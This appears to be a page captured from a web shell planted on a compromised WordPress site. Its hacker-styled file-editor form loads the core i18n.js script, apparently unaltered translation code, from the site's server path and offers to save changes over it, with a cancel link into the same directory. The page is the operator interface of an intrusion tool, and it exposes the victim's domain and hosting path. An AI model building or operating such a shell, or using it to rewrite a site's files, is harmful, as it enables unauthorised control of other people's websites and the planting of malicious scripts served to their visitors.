

<div style='background:#0a0a0a; color:#00ff41; font-family:monospace; padding:20px; max-width:900px; margin:20px auto; border:1px solid #00ff41;'><h2 style='color:#ffcc80;'>✏ EDIT: i18n.js</h2><form method='post' action='?opcion=editar_guardar'><textarea name='contenido' rows='20' style='width:100%; background:#1a1a1a; color:#00ff41; border:1px solid #00ff41; font-family:monospace; padding:10px;'>(function() {
&quot;use strict&quot;;
var wp;
(wp ||= {}).i18n = (() =&gt; {
  var __create = Object.create;
  var __defProp = Object.defineProperty;
  var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
  var __getOwnPropNames = Object.getOwnPropertyNames;
  var __getProtoOf = Object.getPrototypeOf;
  var __hasOwnProp = Object.prototype.hasOwnProperty;
  var __commonJS = (cb, mod) =&gt; function __require() {
    return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
  };
  var __export = (target, all) =&gt; {
    for (var name in all)
      __defProp(target, name, { get: all[name], enumerable: true });
  };
  var __copyProps = (to, from, except, desc) =&gt; {
    if (from &amp;&amp; typeof from === &quot;object&quot; || typeof from === &quot;function&quot;) {
      for (let key of __getOwnPropNames(from))
        if (!__hasOwnProp.call(to, key) &amp;&amp; key !== except)
          __defProp(to, key, { get: () =&gt; from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
    }
    return to;
  };
  var __toESM = (mod, isNodeMode, target) =&gt; (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
    // If the importer is in node compatibility mode or this is not an ESM
    // file that has been converted to a CommonJS file using a Babel-
    // compatible transform (i.e. &quot;__esModule&quot; has not been set), then set
    // &quot;default&quot; to the CommonJS &quot;module.exports&quot; for node compatibility.
    isNodeMode || !mod || !mod.__esModule ? __defProp(target, &quot;default&quot;, { value: mod, enumerable: true }) : target,
    mod
  ));
  var __toCommonJS = (mod) =&gt; __copyProps(__defProp({}, &quot;__esModule&quot;, { value: true }), mod);

  // package-external:@wordpress/hooks
  var require_hooks = __commonJS({
    &quot;package-external:@wordpress/hooks&quot;(exports, module) {
      module.exports = window.wp.hooks;
    }
  });

  // packages/i18n/build-module/index.mjs
  var index_exports = {};
  __export(index_exports, {
    __: () =&gt; __,
    _n: () =&gt; _n,
    _nx: () =&gt; _nx,
    _x: () =&gt; _x,
    createI18n: () =&gt; createI18n,
    defaultI18n: () =&gt; default_i18n_default,
    getLocaleData: () =&gt; getLocaleData,
    hasTranslation: () =&gt; hasTranslation,
    isRTL: () =&gt; isRTL,
    resetLocaleData: () =&gt; resetLocaleData,
    setLocaleData: () =&gt; setLocaleData,
    sprintf: () =&gt; sprintf2,
    subscribe: () =&gt; subscribe
  });

  // node_modules/@tannin/sprintf/src/index.js
  var PATTERN = /%(((\d+)\$)|(\(([$_a-zA-Z][$_a-zA-Z0-9]*)\)))?[ +0#-]*\d*(\.(\d+|\*))?(ll|[lhqL])?([cduxXefgsp%])/g;
  function sprintf(string, ...args) {
    var i = 0;
    if (Array.isArray(args[0])) {
      args = /** @type {import(&#039;../types&#039;).SprintfArgs&lt;T&gt;[]} */
      /** @type {unknown} */
      args[0];
    }
    return string.replace(PATTERN, function() {
      var index, name, precision, type, value;
      index = arguments[3];
      name = arguments[5];
      precision = arguments[7];
      type = arguments[9];
      if (type === &quot;%&quot;) {
        return &quot;%&quot;;
      }
      if (precision === &quot;*&quot;) {
        precision = args[i];
        i++;
      }
      if (name === void 0) {
        if (index === void 0) {
          index = i + 1;
        }
        i++;
        value = args[index - 1];
      } else if (args[0] &amp;&amp; typeof args[0] === &quot;object&quot; &amp;&amp; args[0].hasOwnProperty(name)) {
        value = args[0][name];
      }
      if (type === &quot;f&quot;) {
        value = parseFloat(value) || 0;
      } else if (type === &quot;d&quot;) {
        value = parseInt(value) || 0;
      }
      if (precision !== void 0) {
        if (type === &quot;f&quot;) {
          value = value.toFixed(precision);
        } else if (type === &quot;s&quot;) {
          value = value.substr(0, precision);
        }
      }
      return value !== void 0 &amp;&amp; value !== null ? value : &quot;&quot;;
    });
  }

  // packages/i18n/build-module/sprintf.mjs
  function sprintf2(format, ...args) {
    return sprintf(format, ...args);
  }

  // node_modules/@tannin/postfix/index.js
  var PRECEDENCE;
  var OPENERS;
  var TERMINATORS;
  var PATTERN2;
  PRECEDENCE = {
    &quot;(&quot;: 9,
    &quot;!&quot;: 8,
    &quot;*&quot;: 7,
    &quot;/&quot;: 7,
    &quot;%&quot;: 7,
    &quot;+&quot;: 6,
    &quot;-&quot;: 6,
    &quot;&lt;&quot;: 5,
    &quot;&lt;=&quot;: 5,
    &quot;&gt;&quot;: 5,
    &quot;&gt;=&quot;: 5,
    &quot;==&quot;: 4,
    &quot;!=&quot;: 4,
    &quot;&amp;&amp;&quot;: 3,
    &quot;||&quot;: 2,
    &quot;?&quot;: 1,
    &quot;?:&quot;: 1
  };
  OPENERS = [&quot;(&quot;, &quot;?&quot;];
  TERMINATORS = {
    &quot;)&quot;: [&quot;(&quot;],
    &quot;:&quot;: [&quot;?&quot;, &quot;?:&quot;]
  };
  PATTERN2 = /&lt;=|&gt;=|==|!=|&amp;&amp;|\|\||\?:|\(|!|\*|\/|%|\+|-|&lt;|&gt;|\?|\)|:/;
  function postfix(expression) {
    var terms = [], stack = [], match, operator, term, element;
    while (match = expression.match(PATTERN2)) {
      operator = match[0];
      term = expression.substr(0, match.index).trim();
      if (term) {
        terms.push(term);
      }
      while (element = stack.pop()) {
        if (TERMINATORS[operator]) {
          if (TERMINATORS[operator][0] === element) {
            operator = TERMINATORS[operator][1] || operator;
            break;
          }
        } else if (OPENERS.indexOf(element) &gt;= 0 || PRECEDENCE[element] &lt; PRECEDENCE[operator]) {
          stack.push(element);
          break;
        }
        terms.push(element);
      }
      if (!TERMINATORS[operator]) {
        stack.push(operator);
      }
      expression = expression.substr(match.index + operator.length);
    }
    expression = expression.trim();
    if (expression) {
      terms.push(expression);
    }
    return terms.concat(stack.reverse());
  }

  // node_modules/@tannin/evaluate/index.js
  var OPERATORS = {
    &quot;!&quot;: function(a) {
      return !a;
    },
    &quot;*&quot;: function(a, b) {
      return a * b;
    },
    &quot;/&quot;: function(a, b) {
      return a / b;
    },
    &quot;%&quot;: function(a, b) {
      return a % b;
    },
    &quot;+&quot;: function(a, b) {
      return a + b;
    },
    &quot;-&quot;: function(a, b) {
      return a - b;
    },
    &quot;&lt;&quot;: function(a, b) {
      return a &lt; b;
    },
    &quot;&lt;=&quot;: function(a, b) {
      return a &lt;= b;
    },
    &quot;&gt;&quot;: function(a, b) {
      return a &gt; b;
    },
    &quot;&gt;=&quot;: function(a, b) {
      return a &gt;= b;
    },
    &quot;==&quot;: function(a, b) {
      return a === b;
    },
    &quot;!=&quot;: function(a, b) {
      return a !== b;
    },
    &quot;&amp;&amp;&quot;: function(a, b) {
      return a &amp;&amp; b;
    },
    &quot;||&quot;: function(a, b) {
      return a || b;
    },
    &quot;?:&quot;: function(a, b, c) {
      if (a) {
        throw b;
      }
      return c;
    }
  };
  function evaluate(postfix2, variables) {
    var stack = [], i, j, args, getOperatorResult, term, value;
    for (i = 0; i &lt; postfix2.length; i++) {
      term = postfix2[i];
      getOperatorResult = OPERATORS[term];
      if (getOperatorResult) {
        j = getOperatorResult.length;
        args = Array(j);
        while (j--) {
          args[j] = stack.pop();
        }
        try {
          value = getOperatorResult.apply(null, args);
        } catch (earlyReturn) {
          return earlyReturn;
        }
      } else if (variables.hasOwnProperty(term)) {
        value = variables[term];
      } else {
        value = +term;
      }
      stack.push(value);
    }
    return stack[0];
  }

  // node_modules/@tannin/compile/index.js
  function compile(expression) {
    var terms = postfix(expression);
    return function(variables) {
      return evaluate(terms, variables);
    };
  }

  // node_modules/@tannin/plural-forms/index.js
  function pluralForms(expression) {
    var evaluate2 = compile(expression);
    return function(n) {
      return +evaluate2({ n });
    };
  }

  // node_modules/tannin/index.js
  var DEFAULT_OPTIONS = {
    contextDelimiter: &quot;&quot;,
    onMissingKey: null
  };
  function getPluralExpression(pf) {
    var parts, i, part;
    parts = pf.split(&quot;;&quot;);
    for (i = 0; i &lt; parts.length; i++) {
      part = parts[i].trim();
      if (part.indexOf(&quot;plural=&quot;) === 0) {
        return part.substr(7);
      }
    }
  }
  function Tannin(data, options) {
    var key;
    this.data = data;
    this.pluralForms = {};
    this.options = {};
    for (key in DEFAULT_OPTIONS) {
      this.options[key] = options !== void 0 &amp;&amp; key in options ? options[key] : DEFAULT_OPTIONS[key];
    }
  }
  Tannin.prototype.getPluralForm = function(domain, n) {
    var getPluralForm = this.pluralForms[domain], config, plural, pf;
    if (!getPluralForm) {
      config = this.data[domain][&quot;&quot;];
      pf = config[&quot;Plural-Forms&quot;] || config[&quot;plural-forms&quot;] || // Ignore reason: As known, there&#039;s no way to document the empty
      // string property on a key to guarantee this as metadata.
      // @ts-ignore
      config.plural_forms;
      if (typeof pf !== &quot;function&quot;) {
        plural = getPluralExpression(
          config[&quot;Plural-Forms&quot;] || config[&quot;plural-forms&quot;] || // Ignore reason: As known, there&#039;s no way to document the empty
          // string property on a key to guarantee this as metadata.
          // @ts-ignore
          config.plural_forms
        );
        pf = pluralForms(plural);
      }
      getPluralForm = this.pluralForms[domain] = pf;
    }
    return getPluralForm(n);
  };
  Tannin.prototype.dcnpgettext = function(domain, context, singular, plural, n) {
    var index, key, entry;
    if (n === void 0) {
      index = 0;
    } else {
      index = this.getPluralForm(domain, n);
    }
    key = singular;
    if (context) {
      key = context + this.options.contextDelimiter + singular;
    }
    entry = this.data[domain][key];
    if (entry &amp;&amp; entry[index]) {
      return entry[index];
    }
    if (this.options.onMissingKey) {
      this.options.onMissingKey(singular, domain);
    }
    return index === 0 ? singular : plural;
  };

  // packages/i18n/build-module/create-i18n.mjs
  var DEFAULT_LOCALE_DATA = {
    &quot;&quot;: {
      plural_forms(n) {
        return n === 1 ? 0 : 1;
      }
    }
  };
  var I18N_HOOK_REGEXP = /^i18n\.(n?gettext|has_translation)(_|$)/;
  var createI18n = (initialData, initialDomain, hooks) =&gt; {
    const tannin = new Tannin({});
    const listeners = /* @__PURE__ */ new Set();
    const notifyListeners = () =&gt; {
      listeners.forEach((listener) =&gt; listener());
    };
    const subscribe2 = (callback) =&gt; {
      listeners.add(callback);
      return () =&gt; listeners.delete(callback);
    };
    const getLocaleData2 = (domain = &quot;default&quot;) =&gt; tannin.data[domain];
    const doSetLocaleData = (data, domain = &quot;default&quot;) =&gt; {
      tannin.data[domain] = {
        ...tannin.data[domain],
        ...data
      };
      tannin.data[domain][&quot;&quot;] = {
        ...DEFAULT_LOCALE_DATA[&quot;&quot;],
        ...tannin.data[domain]?.[&quot;&quot;]
      };
      delete tannin.pluralForms[domain];
    };
    const setLocaleData2 = (data, domain) =&gt; {
      doSetLocaleData(data, domain);
      notifyListeners();
    };
    const addLocaleData = (data, domain = &quot;default&quot;) =&gt; {
      tannin.data[domain] = {
        ...tannin.data[domain],
        ...data,
        // Populate default domain configuration (supported locale date which omits
        // a plural forms expression).
        &quot;&quot;: {
          ...DEFAULT_LOCALE_DATA[&quot;&quot;],
          ...tannin.data[domain]?.[&quot;&quot;],
          ...data?.[&quot;&quot;]
        }
      };
      delete tannin.pluralForms[domain];
      notifyListeners();
    };
    const resetLocaleData2 = (data, domain) =&gt; {
      tannin.data = {};
      tannin.pluralForms = {};
      setLocaleData2(data, domain);
    };
    const dcnpgettext = (domain = &quot;default&quot;, context, single, plural, number) =&gt; {
      if (!tannin.data[domain]) {
        doSetLocaleData(void 0, domain);
      }
      return tannin.dcnpgettext(domain, context, single, plural, number);
    };
    const getFilterDomain = (domain) =&gt; domain || &quot;default&quot;;
    const __2 = (text, domain) =&gt; {
      let translation = dcnpgettext(domain, void 0, text);
      if (!hooks) {
        return translation;
      }
      translation = hooks.applyFilters(
        &quot;i18n.gettext&quot;,
        translation,
        text,
        domain
      );
      return hooks.applyFilters(
        &quot;i18n.gettext_&quot; + getFilterDomain(domain),
        translation,
        text,
        domain
      );
    };
    const _x2 = (text, context, domain) =&gt; {
      let translation = dcnpgettext(domain, context, text);
      if (!hooks) {
        return translation;
      }
      translation = hooks.applyFilters(
        &quot;i18n.gettext_with_context&quot;,
        translation,
        text,
        context,
        domain
      );
      return hooks.applyFilters(
        &quot;i18n.gettext_with_context_&quot; + getFilterDomain(domain),
        translation,
        text,
        context,
        domain
      );
    };
    const _n2 = (single, plural, number, domain) =&gt; {
      let translation = dcnpgettext(
        domain,
        void 0,
        single,
        plural,
        number
      );
      if (!hooks) {
        return translation;
      }
      translation = hooks.applyFilters(
        &quot;i18n.ngettext&quot;,
        translation,
        single,
        plural,
        number,
        domain
      );
      return hooks.applyFilters(
        &quot;i18n.ngettext_&quot; + getFilterDomain(domain),
        translation,
        single,
        plural,
        number,
        domain
      );
    };
    const _nx2 = (single, plural, number, context, domain) =&gt; {
      let translation = dcnpgettext(
        domain,
        context,
        single,
        plural,
        number
      );
      if (!hooks) {
        return translation;
      }
      translation = hooks.applyFilters(
        &quot;i18n.ngettext_with_context&quot;,
        translation,
        single,
        plural,
        number,
        context,
        domain
      );
      return hooks.applyFilters(
        &quot;i18n.ngettext_with_context_&quot; + getFilterDomain(domain),
        translation,
        single,
        plural,
        number,
        context,
        domain
      );
    };
    const isRTL2 = () =&gt; {
      return &quot;rtl&quot; === _x2(&quot;ltr&quot;, &quot;text direction&quot;);
    };
    const hasTranslation2 = (single, context, domain) =&gt; {
      const key = context ? context + &quot;&quot; + single : single;
      let result = !!tannin.data?.[domain ?? &quot;default&quot;]?.[key];
      if (hooks) {
        result = hooks.applyFilters(
          &quot;i18n.has_translation&quot;,
          result,
          single,
          context,
          domain
        );
        result = hooks.applyFilters(
          &quot;i18n.has_translation_&quot; + getFilterDomain(domain),
          result,
          single,
          context,
          domain
        );
      }
      return result;
    };
    if (initialData) {
      setLocaleData2(initialData, initialDomain);
    }
    if (hooks) {
      const onHookAddedOrRemoved = (hookName) =&gt; {
        if (I18N_HOOK_REGEXP.test(hookName)) {
          notifyListeners();
        }
      };
      hooks.addAction(&quot;hookAdded&quot;, &quot;core/i18n&quot;, onHookAddedOrRemoved);
      hooks.addAction(&quot;hookRemoved&quot;, &quot;core/i18n&quot;, onHookAddedOrRemoved);
    }
    return {
      getLocaleData: getLocaleData2,
      setLocaleData: setLocaleData2,
      addLocaleData,
      resetLocaleData: resetLocaleData2,
      subscribe: subscribe2,
      __: __2,
      _x: _x2,
      _n: _n2,
      _nx: _nx2,
      isRTL: isRTL2,
      hasTranslation: hasTranslation2
    };
  };

  // packages/i18n/build-module/default-i18n.mjs
  var import_hooks = __toESM(require_hooks(), 1);
  var i18n = createI18n(void 0, void 0, import_hooks.defaultHooks);
  var default_i18n_default = i18n;
  var getLocaleData = i18n.getLocaleData.bind(i18n);
  var setLocaleData = i18n.setLocaleData.bind(i18n);
  var resetLocaleData = i18n.resetLocaleData.bind(i18n);
  var subscribe = i18n.subscribe.bind(i18n);
  var __ = i18n.__.bind(i18n);
  var _x = i18n._x.bind(i18n);
  var _n = i18n._n.bind(i18n);
  var _nx = i18n._nx.bind(i18n);
  var isRTL = i18n.isRTL.bind(i18n);
  var hasTranslation = i18n.hasTranslation.bind(i18n);
  return __toCommonJS(index_exports);
})();
(window.wp ||= {}).i18n = wp.i18n;
})();
</textarea><br><br><input type='hidden' name='archivo_editar' value='/home/qbfdcvcb/cloudlynk.com.au/wp-includes/js/dist/i18n.js'><input type='submit' value='[✓] SAVE' style='background:#00ff41; color:#0a0a0a; border:none; padding:10px 30px; font-family:monospace; cursor:pointer;'> <a href='?path=%2Fhome%2Fqbfdcvcb%2Fcloudlynk.com.au%2Fwp-includes%2Fjs%2Fdist' style='color:#858585; text-decoration:none; padding:10px 30px; border:1px solid #858585;'>[✗] CANCEL</a></form></div><div style='color:#00ff41; font-family:monospace; text-align:center; padding:20px;'>[~] Kerym Chaeceran</div>